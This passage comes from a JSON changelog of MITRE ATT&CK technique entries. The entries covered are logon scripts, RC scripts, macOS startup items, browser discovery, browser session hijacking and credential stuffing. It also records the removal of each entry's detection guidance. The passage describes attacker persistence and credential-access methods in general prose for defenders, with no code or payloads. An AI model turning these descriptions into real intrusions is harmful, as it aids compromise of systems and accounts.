"Windows"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.610000+00:00\", \"old_value\": \"2025-04-15 22:46:59.108000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\\\Environment\\\\UserInitMprLogonScript.\\n\\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\\\Environment\\\\UserInitMprLogonScript.\\n-\\n-Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1024: Restrict Registry Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0024: Windows Registry (Windows Registry Key Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0072: Detect Logon Script Modifications and Execution"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-10 18:01:03.666000+00:00",
"modified": "2025-10-24 17:49:21.921000+00:00",
"name": "Network Logon Script",
"description": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1037/003",
"external_id": "T1037.003"
},
{
"source_name": "Petri Logon Script AD",
"description": "Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019.",
"url": "https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Active Directory: Active Directory Object Modification\", \"File: File Modification\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:21.921000+00:00\", \"old_value\": \"2025-04-15 22:51:42.187000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)",
"DS0026: Active Directory (Active Directory Object Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0367: Detect Network Logon Script Abuse via Multi-Event Correlation on Windows"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-01-15 16:25:22.260000+00:00",
"modified": "2025-10-24 17:49:28.955000+00:00",
"name": "RC Scripts",
"description": "Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries may establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1037/004",
"external_id": "T1037.004"
},
{
"source_name": "Apple Developer Doco Archive Launchd",
"description": "Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.",
"url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html"
},
{
"source_name": "Startup Items",
"description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"
},
{
"source_name": "Juniper Networks ESXi Backdoor 2022",
"description": "Asher Langton. (2022, December 9). A Custom Python Backdoor for VMWare ESXi Servers. Retrieved March 26, 2025.",
"url": "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers"
},
{
"source_name": "Ubuntu Manpage systemd rc",
"description": "Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.",
"url": "http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html"
},
{
"source_name": "IranThreats Kittens Dec 2017",
"description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.",
"url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/"
},
{
"source_name": "Methods of Mac Malware Persistence",
"description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
},
{
"source_name": "intezer-kaiji-malware",
"description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.",
"url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/"
},
{
"source_name": "Intezer HiddenWasp Map 2019",
"description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
"url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS",
"Linux",
"Network Devices",
"ESXi"
],
"x_mitre_version": "2.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Process: Process Creation\", \"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.955000+00:00\", \"old_value\": \"2025-04-15 19:59:13.566000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system\\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\\n\\nAdversaries may establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\\n\\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)\\n\\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)\", \"old_value\": \"Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system\\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\\n\\nAdversaries may establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\\n\\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)\\n\\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004).(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n Adversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)\\n \\n-Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004).(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)\\n+Several Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\\n\\nMonitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for unexpected changes to RC scripts in the /etc/ directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\\n-\\n-Monitor for /etc/rc.local file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local if present. \"}}}",
"previous_version": "2.2",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may establish persistence by modifying RC script | t | 1 | Adversaries may establish persistence by modifying RC script |
| > | s, which are executed during a Unix-like system\u2019s startup. T | > | s, which are executed during a Unix-like system\u2019s startup. T | ||
| > | hese files allow system administrators to map and start cust | > | hese files allow system administrators to map and start cust | ||
| > | om services at startup for different run levels. RC scripts | > | om services at startup for different run levels. RC scripts | ||
| > | require root privileges to modify. Adversaries may establis | > | require root privileges to modify. Adversaries may establis | ||
| > | h persistence by adding a malicious binary path or shell com | > | h persistence by adding a malicious binary path or shell com | ||
| > | mands to <code>rc.local</code>, <code>rc.common</code>, and | > | mands to <code>rc.local</code>, <code>rc.common</code>, and | ||
| > | other RC scripts specific to the Unix-like distribution.(Cit | > | other RC scripts specific to the Unix-like distribution.(Cit | ||
| > | ation: IranThreats Kittens Dec 2017)(Citation: Intezer Hidde | > | ation: IranThreats Kittens Dec 2017)(Citation: Intezer Hidde | ||
| > | nWasp Map 2019) Upon reboot, the system executes the script' | > | nWasp Map 2019) Upon reboot, the system executes the script' | ||
| > | s contents as root, resulting in persistence. Adversary abu | > | s contents as root, resulting in persistence. Adversary abu | ||
| > | se of RC scripts is especially effective for lightweight Uni | > | se of RC scripts is especially effective for lightweight Uni | ||
| > | x-like distributions using the root user as default, such as | > | x-like distributions using the root user as default, such as | ||
| > | ESXi hypervisors, IoT, or embedded systems.(Citation: intez | > | ESXi hypervisors, IoT, or embedded systems.(Citation: intez | ||
| > | er-kaiji-malware) As ESXi servers store most system files in | > | er-kaiji-malware) As ESXi servers store most system files in | ||
| > | memory and therefore discard changes on shutdown, leveragin | > | memory and therefore discard changes on shutdown, leveragin | ||
| > | g `/etc/rc.local.d/local.sh` is one of the few mechanisms fo | > | g `/etc/rc.local.d/local.sh` is one of the few mechanisms fo | ||
| > | r enabling persistence across reboots.(Citation: Juniper Net | > | r enabling persistence across reboots.(Citation: Juniper Net | ||
| > | works ESXi Backdoor 2022) Several Unix-like systems have mo | > | works ESXi Backdoor 2022) Several Unix-like systems have mo | ||
| > | ved to Systemd and deprecated the use of RC scripts. This is | > | ved to Systemd and deprecated the use of RC scripts. This is | ||
| > | now a deprecated mechanism in macOS in favor of [Launchd](h | > | now a deprecated mechanism in macOS in favor of Launchd.(Ci | ||
| > | ttps://attack.mitre.org/techniques/T1053/004).(Citation: App | > | tation: Apple Developer Doco Archive Launchd)(Citation: Star | ||
| > | le Developer Doco Archive Launchd)(Citation: Startup Items) | > | tup Items) This technique can be used on Mac OS X Panther v1 | ||
| > | This technique can be used on Mac OS X Panther v10.3 and ear | > | 0.3 and earlier versions which still execute the RC scripts. | ||
| > | lier versions which still execute the RC scripts.(Citation: | > | (Citation: Methods of Mac Malware Persistence) To maintain b | ||
| > | Methods of Mac Malware Persistence) To maintain backwards co | > | ackwards compatibility some systems, such as Ubuntu, will ex | ||
| > | mpatibility some systems, such as Ubuntu, will execute the R | > | ecute the RC scripts if they exist with the correct file per | ||
| > | C scripts if they exist with the correct file permissions.(C | > | missions.(Citation: Ubuntu Manpage systemd rc) | ||
| > | itation: Ubuntu Manpage systemd rc) |
/Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1037/005",
"external_id": "T1037.005"
},
{
"source_name": "Startup Items",
"description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html"
},
{
"source_name": "Methods of Mac Malware Persistence",
"description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"File: File Creation\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:19.678000+00:00\", \"old_value\": \"2025-04-16 20:37:20.168000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\\n\\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\\n-\\n-Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0429: Detect Modification of macOS Startup Items"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-04-18 17:59:24.739000+00:00",
"modified": "2025-10-24 17:48:50.561000+00:00",
"name": "Browser Information Discovery",
"description": "Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "discovery"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1217",
"external_id": "T1217"
},
{
"source_name": "Chrome Roaming Profiles",
"description": "Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser with Roaming User Profiles. Retrieved March 28, 2023.",
"url": "https://support.google.com/chrome/a/answer/7349337"
},
{
"source_name": "Kaspersky Autofill",
"description": "Golubev, S. (n.d.). How malware steals autofill data from browsers. Retrieved March 28, 2023.",
"url": "https://www.kaspersky.com/blog/browser-data-theft/27871/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Mike Kemmerer",
"Manikantan Srinivasan, NEC Corporation India",
"Yinon Engelsman, Talon Cyber Security",
"Yonatan Gotlib, Talon Cyber Security"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"x_mitre_version": "2.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.561000+00:00\", \"old_value\": \"2025-04-15 21:54:16.719000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.\"}}}",
"previous_version": "2.0",
"changelog_mitigations": {
"shared": [],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0017: Command (Command Execution)",
"DS0022: File (File Access)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0013: Detection of Local Browser Artifact Access for Reconnaissance"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2018-01-16 16:13:52.465000+00:00",
"modified": "2025-10-24 17:48:48.383000+00:00",
"name": "Browser Session Hijacking",
"description": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1185",
"external_id": "T1185"
},
{
"source_name": "Wikipedia Man in the Browser",
"description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.",
"url": "https://en.wikipedia.org/wiki/Man-in-the-browser"
},
{
"source_name": "Cobalt Strike Browser Pivot",
"description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.",
"url": "https://www.cobaltstrike.com/help-browser-pivoting"
},
{
"source_name": "ICEBRG Chrome Extensions",
"description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.",
"url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses"
},
{
"source_name": "cobaltstrike manual",
"description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.",
"url": "https://web.archive.org/web/20210825130434/https://cobaltstrike.com/downloads/csmanual38.pdf"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Justin Warner, ICEBRG"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "2.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Modification\", \"Process: Process Access\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:48.383000+00:00\", \"old_value\": \"2025-04-25 15:15:33.428000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.\"}}}",
"previous_version": "2.1",
"changelog_mitigations": {
"shared": [
"M1017: User Training",
"M1018: User Account Management"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Access)",
"DS0009: Process (Process Modification)",
"DS0028: Logon Session (Logon Session Creation)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0507: Detect browser session hijacking via privilege, handle access, and remote thread into browsers"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--b2d03cea-aec1-45ca-9744-9ee583c1e1cc",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-11 18:39:59.959000+00:00",
"modified": "2025-10-24 17:49:14.923000+00:00",
"name": "Credential Stuffing",
"description": "Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts.\n\nCredential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies.\n\nTypically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
}
],
"revoked": false,
"external_references": [
{
